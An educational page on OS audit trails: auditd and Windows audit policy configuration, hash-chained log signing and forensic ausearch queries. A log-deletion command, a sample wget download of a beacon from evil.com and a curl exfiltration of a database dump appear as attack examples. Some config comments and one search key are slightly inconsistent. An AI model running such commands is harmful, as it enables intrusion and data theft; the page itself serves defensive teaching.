The Five Ws of Audit Events
Question	Audit Field	Example	Security Significance
Who	Subject/Principal	User 'jsmith', UID 1001	Enables accountability and attribution
What	Action/Event Type	File read, login attempt, privilege escalation	Defines the nature of the activity
When	Timestamp	2024-01-15T14:32:47.123456Z	Enables timeline reconstruction
Where	Source/Location	IP 192.168.1.50, terminal pts/2	Identifies origin of action
Result	Outcome	Success, failure, denied	Indicates whether action succeeded

Beyond the Five Ws: Extended Context

Modern audit systems capture additional context that dramatically improves forensic value:

Extended Audit Context

•Object/Target — The resource being accessed (file path, network port, system call)
•Parent Context — The process hierarchy (parent PID, session ID, process group)
•Effective Credentials — Actual permissions used (effective UID, group memberships)
•Security Labels — Mandatory access control contexts (SELinux labels, integrity levels)
•Sequence Numbers — Monotonic counters to detect log gaps or tampering
•Hash/Checksum — Integrity verification for the event record itself

The Signal-to-Noise Challenge

Audit Trail Architecture

Event Generation Layer

Audit events originate from multiple sources within the operating system:

Sources of Audit Events
Source	Events Generated	OS Component
Kernel	System calls, module loading, capability changes	Linux audit subsystem, Windows ETW
Authentication	Login attempts, password changes, session events	PAM, LSASS, Kerberos
Authorization	Access decisions, permission checks	SELinux, AppArmor, Windows ACL engine
File System	File operations, permission changes	FS audit triggers, inotify, ETW providers
Network	Connection events, firewall decisions	Netfilter, Windows Firewall, IPsec
Applications	Application-specific events	Syslog, Windows Event Log, journald

Event Processing Pipeline

Once generated, audit events flow through a processing pipeline designed for reliability:

Converting Mermaid diagram...

Critical Design Considerations:

1. Kernel Buffer (Ring Buffer)

Events are first captured in a kernel-space ring buffer. This buffer must be properly sized to prevent event loss during bursts:

Too small: Events are lost during high-activity periods (security blind spots)
Too large: Memory overhead impacts system performance
Best practice: Size based on peak event rate × acceptable delay before userspace reads

2. Audit Daemon

The userspace daemon (auditd on Linux, Windows Event Log service) reads events from the kernel and handles:

Writing to persistent storage
Forwarding to remote collectors
Applying filters and aggregation
Managing log rotation and retention

3. Failure Modes

What happens when the audit system cannot keep up or storage fills? This is a critical security decision:

Failure Mode Options

•Ignore — Continue operation, drop audit events (most permissive, least secure)
•Syslog — Log the failure to alternate channel, continue operation
•Suspend — Halt the failing operation until audit can proceed
•Halt — Stop the entire system (most secure, guaranteed audit)
•Single-user — Enter maintenance mode requiring administrator intervention

High-Security Environments

auditd.conf
Linux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Linux auditd configuration for high-security environment
# /etc/audit/auditd.conf
 
# Log file configuration
log_file = /var/log/audit/audit.log
log_format = ENRICHED
log_group = root
 
# Buffer configuration for high-throughput
num_logs = 10
max_log_file = 50
max_log_file_action = ROTATE
 
# Critical: What to do when disk space is low
space_left = 75
space_left_action = email
 
admin_space_left = 50
admin_space_left_action = single
 
disk_full_action = HALT
disk_error_action = HALT
 
# Critical: What to do when audit fails
flush = INCREMENTAL_ASYNC
freq = 50
name_format = HOSTNAME
 
# Failure mode: halt system if audit cannot function
disp_qos = lossy
dispatcher = /sbin/audispd
 
# For high-security: require name resolution
name = myserver.example.com
 
# Enable integrity support
verify_email = yes
action_mail_acct = security@example.com

What to Audit: Event Selection

Audit Categories by Criticality

Not all events carry equal forensic or security value. Here's a tiered approach:

Audit Event Priority Tiers
Tier	Category	Events	Rationale
CRITICAL	Authentication	All login attempts (success/failure), sudo/su usage, authentication failures	First line of attack detection, credential abuse
CRITICAL	Authorization Failures	Permission denied events, capability checks, SELinux denials	Active attack indicators, misconfigurations
CRITICAL	System Integrity	Kernel module loads, mount operations, firmware changes	Rootkit detection, persistent threats
HIGH	Privileged Operations	Root/admin commands, security policy changes, user management	Insider threats, privilege abuse
HIGH	Network Configuration	Firewall changes, route modifications, interface changes	Lateral movement, data exfiltration setup
MEDIUM	File System (Sensitive)	Access to /etc/passwd, /etc/shadow, cryptographic keys	Data theft, credential harvesting
MEDIUM	Process Execution	exec() calls, script interpreters, suspicious binaries	Malware execution, attack progression
LOW	File System (General)	All file operations	Forensic completeness (high volume)
LOW	Network Traffic	All connections	Forensic completeness (very high volume)

Minimum Audit Requirements by Standard

Various security frameworks mandate specific audit requirements:

Audit Requirements by Compliance Framework
Framework	Key Audit Requirements	Retention
PCI DSS	All access to cardholder data, all admin actions, failed logins, audit log access	1 year (3 months online)
HIPAA	Access to PHI, authentication events, security incidents, audit log integrity	6 years
SOX	Financial data access, privileged user actions, system changes	7 years
NIST 800-53	All AU-* controls, including AU-2 (auditable events), AU-12 (audit generation)	Defined by org policy
GDPR	Personal data access, consent records, data subject requests	Varies by purpose

Linux Audit Rules: Practical Examples

The Linux audit subsystem uses rules to specify what events to capture. Here are production-ready examples:

audit.rules
Linux Audit Rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# /etc/audit/rules.d/security.rules
# Comprehensive security audit ruleset
 
# First rule: delete all existing rules
-D
 
# Set buffer size (based on expected event volume)
-b 8192
 
# Failure mode: halt system if audit fails (for high-security)
-f 2
 
# ================================================
# CRITICAL: Authentication and Identity
# ================================================
 
# Track all login files
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/security/opasswd -p wa -k identity
 
# Track PAM configuration
-w /etc/pam.d/ -p wa -k pam
-w /etc/security/ -p wa -k pam
 
# Track sudo configuration
-w /etc/sudoers -p wa -k sudo
-w /etc/sudoers.d/ -p wa -k sudo
 
# ================================================
# CRITICAL: Authentication events  
# ================================================
 
# Login/logout events
-w /var/log/lastlog -p wa -k logins
-w /var/run/faillock/ -p wa -k logins
-w /var/log/tallylog -p wa -k logins
 
# ================================================
# CRITICAL: System call monitoring
# ================================================
 
# Capture all execve calls (process execution)
-a always,exit -F arch=b64 -S execve -k exec
-a always,exit -F arch=b32 -S execve -k exec
 
# Capture privilege escalation attempts
-a always,exit -F arch=b64 -S setuid -S setgid -S setreuid -S setregid -k privilege_escalation
-a always,exit -F arch=b32 -S setuid -S setgid -S setreuid32 -S setregid32 -k privilege_escalation
 
# Capture kernel module operations
-a always,exit -F arch=b64 -S init_module -S delete_module -S finit_module -k modules
-a always,exit -F arch=b32 -S init_module -S delete_module -S finit_module -k modules
 
# Capture mount operations
-a always,exit -F arch=b64 -S mount -S umount2 -k mounts
-a always,exit -F arch=b32 -S mount -S umount -S umount2 -k mounts
 
# Capture time changes (anti-forensics indicator)
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -S clock_settime -k time_change
-a always,exit -F arch=b32 -S adjtimex -S settimeofday -S clock_settime -k time_change
 
# ================================================
# HIGH: Network configuration changes
# ================================================
 
-w /etc/hosts -p wa -k network_config
-w /etc/network/ -p wa -k network_config
-w /etc/sysconfig/network -p wa -k network_config
-w /etc/sysconfig/network-scripts/ -p wa -k network_config
 
# ================================================
# HIGH: Cron and scheduled tasks
# ================================================
 
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -p wa -k cron
 
# ================================================
# HIGH: SSH configuration
# ================================================
 
-w /etc/ssh/sshd_config -p wa -k sshd_config
-w /root/.ssh/ -p wa -k ssh_keys
 
# ================================================
# MEDIUM: Sensitive file access
# ================================================
 
# Private key access
-a always,exit -F arch=b64 -S open -S openat -F exit=-EACCES -k access_denied
-a always,exit -F arch=b64 -S open -S openat -F exit=-EPERM -k access_denied
 
# Make the configuration immutable (require reboot to modify)
-e 2

The '-e 2' Immutability Flag

Protecting Audit Trail Integrity

Threat Model for Audit Systems

Understanding how attackers target audit systems helps design appropriate defenses:

Audit Trail Attack Vectors
Attack	Description	Mitigation
Log Deletion	rm -rf /var/log/audit/*	Append-only storage, remote logging, immutable attributes
Log Modification	Edit log entries to remove evidence	Cryptographic signing, hash chains, WORM storage
Audit Disabling	Stop auditd, modify rules	Immutable rules (-e 2), process monitoring, kernel lockdown
Timestamp Manipulation	Change system time to confuse timeline	NTP monitoring, timestamping services, relative ordering
Buffer Overflow	Generate excessive events to lose data	Remote logging, disk quotas, separate partitions
Interception	Stop logs before reaching storage	Kernel-level guarantees, TPM attestation

Defense in Depth for Audit Integrity

1. Cryptographic Signing

Each audit record or batch can be cryptographically signed to detect tampering:

signed-audit-concept.py
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python3
"""
Conceptual implementation of cryptographically signed audit logs
with hash chaining for tamper detection.
"""
 
import hashlib
import hmac
import json
import time
from dataclasses import dataclass
from typing import Optional
 
@dataclass
class AuditRecord:
    sequence_number: int          # Monotonic counter
    timestamp: float              # Unix timestamp with microseconds
    event_type: str               # Category of event
    subject: str                  # Who performed the action
    action: str                   # What was done
    object: str                   # Target of the action
    result: str                   # Success/failure
    previous_hash: str            # Hash of previous record (chain)
    signature: Optional[str] = None  # HMAC signature
 
class SignedAuditLog:
    def __init__(self, signing_key: bytes):
        """
        Initialize audit log with signing key.
        In production, this key would be stored in HSM or TPM.
        """
        self.signing_key = signing_key
        self.records: list[AuditRecord] = []
        self.sequence = 0
        self.previous_hash = "GENESIS"  # Initial chain value
    
    def _compute_record_hash(self, record: AuditRecord) -> str:
        """Compute hash of record for chaining."""
        data = (
            f"{record.sequence_number}|{record.timestamp}|"
            f"{record.event_type}|{record.subject}|{record.action}|"
            f"{record.object}|{record.result}|{record.previous_hash}"
        )
        return hashlib.sha256(data.encode()).hexdigest()
    
    def _sign_record(self, record_hash: str) -> str:
        """Sign record hash with HMAC-SHA256."""
        return hmac.new(
            self.signing_key,
            record_hash.encode(),
            hashlib.sha256
        ).hexdigest()
    
    def append(self, event_type: str, subject: str, action: str,
               object: str, result: str) -> AuditRecord:
        """
        Append a new audit record with cryptographic integrity.
        """
        self.sequence += 1
        
        record = AuditRecord(
            sequence_number=self.sequence,
            timestamp=time.time(),
            event_type=event_type,
            subject=subject,
            action=action,
            object=object,
            result=result,
            previous_hash=self.previous_hash
        )
        
        # Compute hash of this record
        record_hash = self._compute_record_hash(record)
        
        # Sign the record
        record.signature = self._sign_record(record_hash)
        
        # Update chain for next record
        self.previous_hash = record_hash
        
        self.records.append(record)
        return record
    
    def verify_chain(self) -> tuple[bool, Optional[int]]:
        """
        Verify entire chain integrity.
        Returns (is_valid, first_tampered_sequence).
        """
        expected_previous = "GENESIS"
        
        for record in self.records:
            # Check chain link
            if record.previous_hash != expected_previous:
                return (False, record.sequence_number)
            
            # Verify signature
            record_hash = self._compute_record_hash(record)
            expected_sig = self._sign_record(record_hash)
            
            if record.signature != expected_sig:
                return (False, record.sequence_number)
            
            expected_previous = record_hash
        
        return (True, None)
    
    def detect_gaps(self) -> list[int]:
        """Detect missing sequence numbers (deletion attempts)."""
        expected = 1
        gaps = []
        
        for record in self.records:
            if record.sequence_number != expected:
                gaps.extend(range(expected, record.sequence_number))
            expected = record.sequence_number + 1
        
        return gaps
 
 
# Example usage
if __name__ == "__main__":
    # In production: key from HSM/TPM
    signing_key = b"super_secret_audit_signing_key_from_hsm"
    
    log = SignedAuditLog(signing_key)
    
    # Record some events
    log.append("AUTH", "jsmith", "LOGIN", "console", "SUCCESS")
    log.append("FILE", "jsmith", "READ", "/etc/passwd", "SUCCESS")
    log.append("AUTH", "attacker", "LOGIN", "ssh:192.168.1.50", "FAILURE")
    log.append("PRIV", "jsmith", "SUDO", "/bin/bash", "SUCCESS")
    
    # Verify integrity
    valid, tampered_at = log.verify_chain()
    print(f"Chain valid: {valid}")
    
    # If someone tampers with a record...
    # log.records[1].action = "WRITE"  # Would break chain
    # valid, tampered_at = log.verify_chain()
    # print(f"Chain valid: {valid}, tampered at: {tampered_at}")

2. Remote Log Shipping

The most effective protection against local tampering is sending logs off the system immediately:

Remote Logging Best Practices

•Real-time forwarding — Ship events as they occur, not in batches
•Encrypted transmission — Use TLS for rsyslog, journald-upload, or specialized agents
•Mutual authentication — Both sender and receiver authenticate (mTLS)
•Separate infrastructure — Log collectors on different network segment, different credentials
•Redundant collectors — Multiple independent destinations to prevent single-point failures
•Local caching — Buffer locally if remote unavailable, then catch up

3. Write-Once Storage

WORM (Write Once Read Many) storage provides hardware-level protection:

•Optical media — Traditional but slow, used for archival
•WORM tapes — LTO tapes with WORM mode enabled
•S3 Object Lock — Cloud storage with compliance mode prevents deletion
•NetApp SnapLock — Enterprise NAS with regulatory compliance features
•Linux immutable attribute — chattr +a (append-only) or +i (immutable)

immutable-logs.sh
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
# Configure append-only audit log files
 
# Make existing log append-only
chattr +a /var/log/audit/audit.log
 
# Verify attribute
lsattr /var/log/audit/audit.log
# Output: -----a--------e----- /var/log/audit/audit.log
 
# To rotate logs, must temporarily remove attribute:
# chattr -a /var/log/audit/audit.log
# logrotate -f /etc/logrotate.d/audit
# chattr +a /var/log/audit/audit.log
 
# For compliance: use a dedicated script run by trusted process
# Never give regular admins the ability to run chattr -a on logs

The Root Problem

Forensic Investigation with Audit Trails

The Forensic Timeline

The goal of forensic analysis is to reconstruct a timeline of attacker actions:

Converting Mermaid diagram...

Key Forensic Queries

Here are essential forensic queries using the Linux audit system with ausearch and aureport:

forensic-queries.sh
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/bin/bash
# Essential forensic queries for incident response
 
# ================================================
# AUTHENTICATION FORENSICS
# ================================================
 
# All failed login attempts in the last 24 hours
ausearch -m USER_LOGIN -sv no -ts recent | aureport -au
 
# All successful logins from a specific IP
ausearch -m USER_LOGIN -sv yes | grep "addr=192.168.1.50"
 
# All su/sudo activity
ausearch -m USER_CMD -ts today | aureport -x --summary
 
# Brute force detection: multiple failed logins
aureport -au --failed | tail -20
 
# ================================================
# PROCESS EXECUTION FORENSICS
# ================================================
 
# All commands executed by a specific user
ausearch -ui 1001 -ts today | aureport -x
 
# Find execution of suspicious tools
ausearch -x /usr/bin/wget -ts week-ago
ausearch -x /usr/bin/curl -ts week-ago
ausearch -x /usr/bin/nc -ts week-ago
ausearch -x /usr/bin/ncat -ts week-ago
 
# Find binaries executed from /tmp (common attack pattern)
ausearch -f /tmp -ts week-ago | grep -E "syscall=.*execve"
 
# ================================================
# FILE ACCESS FORENSICS
# ================================================
 
# All access to sensitive files
ausearch -f /etc/shadow -ts week-ago
ausearch -f /etc/passwd -ts week-ago
 
# File permission changes
ausearch -m ATTR -ts week-ago | grep -E "chmod|chown"
 
# Deleted files (look for unlink syscalls)
ausearch -sc unlink -ts week-ago
 
# ================================================
# PRIVILEGE ESCALATION FORENSICS
# ================================================
 
# Capability changes
ausearch -m CAPSET -ts week-ago
 
# Setuid/setgid calls
ausearch -sc setuid -ts week-ago
ausearch -sc setgid -ts week-ago
 
# SELinux denials (often indicate attack attempts)
ausearch -m AVC -ts week-ago
 
# Kernel module loading
ausearch -m MODULE_LOAD -ts week-ago
 
# ================================================
# TIMELINE GENERATION
# ================================================
 
# Generate full timeline for a specific period
ausearch -ts "01/15/2024" "14:00:00" -te "01/15/2024" "16:00:00" \
    --format csv > incident_timeline.csv
 
# Summary report
aureport --start recent --summary
 
# ================================================
# CORRELATION: Finding related events
# ================================================
 
# Get all events in a specific session
ausearch --session 12345
 
# Get all events by a specific process
ausearch --pid 98765
 
# Get all events for a specific key (from audit rules)
ausearch -k identify
ausearch -k exec
ausearch -k privilege_escalation

Evidence Correlation Example

Let's walk through a realistic forensic scenario. A server was compromised, and we need to understand the attack:

Scenario: Server Compromise Investigation

investigation.sh
Investigation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
# Investigation steps for db-prod-01 compromise
 
# Step 1: Identify the suspicious connection timestamp
# From network logs: Outbound connection at 14:32:15 from PID 45678
 
# Step 2: Find what process that was
ausearch --pid 45678 | head -50
# Results show: /tmp/.hidden/beacon executed by UID 1001 (dbadmin)
 
# Step 3: How did that file get there?
ausearch -f /tmp/.hidden -ts "01/15/2024"
# Results show:
# - 14:28:32: Directory created by UID 1001
# - 14:28:35: File 'beacon' written by UID 1001
# - 14:28:36: chmod to 755 by UID 1001
# - 14:28:40: execve of 'beacon' by UID 1001
 
# Step 4: How did dbadmin get the file? Check for downloads
ausearch -ui 1001 -x curl -ts "01/15/2024"
ausearch -ui 1001 -x wget -ts "01/15/2024"
# Results show:
# - 14:28:30: wget http://evil.com/beacon to /tmp/.hidden/beacon
 
# Step 5: How did dbadmin account get compromised?
ausearch -m USER_LOGIN -ts "01/14/2024" | grep dbadmin
# Results show:
# - Multiple failed logins from 185.220.101.x (Tor exit nodes)
# - Successful login at 14:27:45 from same IP range
 
# Step 6: What else did the attacker do?
ausearch -ui 1001 -ts "01/15/2024" "14:27:45" | aureport -x --summary
# Results show:
# - cat /home/dbadmin/.pgpass (database credentials!)
# - psql commands to dump customer_data table
# - Compressed dump created at /tmp/.hidden/data.gz
# - curl upload to different external host
 
# FINDINGS SUMMARY:
# 1. Initial access: Brute-forced dbadmin SSH credentials
# 2. Actions: Downloaded beacon malware, stole DB credentials
# 3. Data access: Exported customer_data table
# 4. Exfiltration: Uploaded via curl to external server

Preserve Original Evidence

Performance Impact and Optimization

Audit Performance Overhead

Audit Performance Impact by Rule Type
Rule Type	Overhead per Call	Volume Impact	Recommendation
File watch (-w)	Low (~0.1%)	Depends on access frequency	Use for specific files only
System call exit (-a exit)	Medium (~1-5%)	High for frequent syscalls	Filter by user/path when possible
All syscall entry	High (~10%+)	Very high	Avoid in production
execve monitoring	Low-Medium	One per process start	Generally acceptable
Network syscalls	Medium	High on busy servers	Filter by port/address

Optimization Strategies

1. Use Filters to Reduce Volume

Narrow audit rules to specific subjects, objects, or conditions:

optimized-rules.rules
Audit Rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# BAD: Audit all file opens (overwhelming volume)
-a always,exit -S open -S openat
 
# GOOD: Audit file opens only for specific directories
-a always,exit -S open -S openat -F dir=/etc -k etc_access
-a always,exit -S open -S openat -F dir=/home -k home_access
 
# GOOD: Audit file opens only outside normal UID range
-a always,exit -S open -S openat -F auid>=1000 -F auid!=4294967295 -k user_file_access
 
# GOOD: Exclude high-volume, low-value events
# Don't audit reads by the backup service account
-a never,exit -F arch=b64 -S read -F auid=999
 
# GOOD: Focus on failures (often more interesting)
-a always,exit -F arch=b64 -S open -F exit=-EACCES -k access_denied
-a always,exit -F arch=b64 -S open -F exit=-EPERM -k access_denied

2. Separate Audit Storage

Keep audit I/O off the main system disk:

•Dedicated partition — Mount /var/log/audit on separate disk/partition
•Fast storage — Use SSD for audit if possible
•Separate I/O scheduler — Configure appropriate scheduler for log workload
•Reserved space — Ensure disk can't fill from other processes

3. Buffer and Flush Tuning

Balance immediate persistence vs. performance:

auditd-performance.conf
Config
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# /etc/audit/auditd.conf - Performance-optimized settings
 
# Increase kernel buffer for high-throughput systems
# Default is 320, which can overflow on busy servers
# Match to expected events/second × acceptable latency
# Example: 5000 events/sec × 0.1 sec latency = 500 buffer
# num_logs: number of log files to rotate through
 
# Asynchronous flush (better performance, slight data loss risk)
flush = INCREMENTAL_ASYNC
freq = 50  # Flush every 50 records
 
# For ultra-high-security (worse performance, no data loss)
# flush = SYNC
 
# Dispatcher queue optimization
disp_qos = lossy  # Don't block kernel if dispatcher slow
 
# Priority settings
priority_boost = 4  # Higher priority for audit daemon

Test Before Production

Audit Trails in Windows

Windows Audit Architecture

Windows Security Auditing Components
Component	Role	Key Features
Security Reference Monitor (SRM)	Kernel component generating audit events	Every access check can generate event
Local Security Authority (LSA)	Manages security policy	Determines what to audit
Security Event Log	Stores security events	Dedicated channel, protected access
Event Tracing for Windows (ETW)	High-performance event infrastructure	Low-overhead kernel tracing
Advanced Audit Policy	Fine-grained audit configuration	Subcategory-level control

Configuring Advanced Audit Policies

Windows provides granular audit control through Advanced Audit Policy Configuration:

advanced-audit-policy.ps1

PowerShell

# Configure Windows Advanced Audit Policy for security monitoring
# Run as Administrator
 
# =============================================
# View current audit policy
# =============================================
auditpol /get /category:*
 
# =============================================
# CRITICAL: Logon events
# =============================================
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Logoff" /success:enable
auditpol /set /subcategory:"Account Lockout" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable  # Admin logins
 
# =============================================
# CRITICAL: Account management
# =============================================
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
auditpol /set /subcategory:"Computer Account Management" /success:enable
 
# =============================================
# HIGH: Privilege use
# =============================================
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Non Sensitive Privilege Use" /failure:enable
 
# =============================================
# HIGH: Policy changes
# =============================================
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
auditpol /set /subcategory:"Authentication Policy Change" /success:enable
auditpol /set /subcategory:"Authorization Policy Change" /success:enable
 
# =============================================
# MEDIUM: Object access (requires SACL on objects)
# =============================================
auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
auditpol /set /subcategory:"SAM" /success:enable /failure:enable
 
# =============================================
# Process tracking
# =============================================
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Process Termination" /success:enable
 
# =============================================
# Enable command-line logging for process creation
# (Critical for understanding what attackers ran)
# =============================================
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit"
if (-not (Test-Path $regPath)) {
    New-Item -Path $regPath -Force
}
Set-ItemProperty -Path $regPath -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 1
 
# =============================================
# Configure Security Event Log size and retention
# =============================================
wevtutil sl Security /ms:1073741824  # 1GB max size
wevtutil sl Security /rt:true         # Retain (don't overwrite)

Critical Windows Event IDs

Knowing which Event IDs matter is essential for Windows forensics:

Critical Windows Security Event IDs
Event ID	Category	Description	Investigation Value
4624	Logon	Successful logon	Identify valid access, lateral movement
4625	Logon	Failed logon	Brute force detection, password spraying
4648	Logon	Logon using explicit credentials	Credential abuse, pass-the-hash
4672	Privilege	Special privileges assigned	Admin access, privilege escalation
4688	Process	Process creation	Malware execution, attack tools
4689	Process	Process termination	Process lifecycle analysis
4697	Service	Service installed	Persistence mechanism
4698	Task	Scheduled task created	Persistence mechanism
4720	Account	User account created	Backdoor accounts
4728	Group	Member added to security group	Privilege escalation
4732	Group	Member added to local Administrators	Privilege escalation
5140	Share	Network share accessed	Lateral movement, data access
5145	Share	Share object accessed (detailed)	File-level access on shares

Event ID 4688 is Gold

Summary: Audit Trails

Audit trails are the foundation of security accountability, forensic investigation, and compliance verification. Let's consolidate the key concepts:

Key Takeaways

•Audit events must answer the Five Ws — Who performed the action, what was done, when it occurred, where (from which location/system), and what was the result.
•Architecture matters — Effective audit systems use kernel buffers, userspace daemons, and careful failure mode handling to ensure reliable capture.
•Selective auditing is essential — Audit critical events (authentication, authorization failures, privilege escalation) heavily; be selective about high-volume events.
•Integrity protection is non-negotiable — Use remote logging, cryptographic signing, hash chains, and write-once storage to prevent tampering.
•Audit trails enable forensics — The ability to reconstruct attack timelines, identify initial access vectors, and determine data exposure depends on comprehensive, intact logs.
•Performance requires thoughtful configuration — Use filters, dedicated storage, and appropriate buffer settings to balance security with system performance.
•Both Linux and Windows have mature systems — Linux auditd with rules, Windows Advanced Audit Policy—both require proper configuration for effectiveness.

What's Next:

Page Complete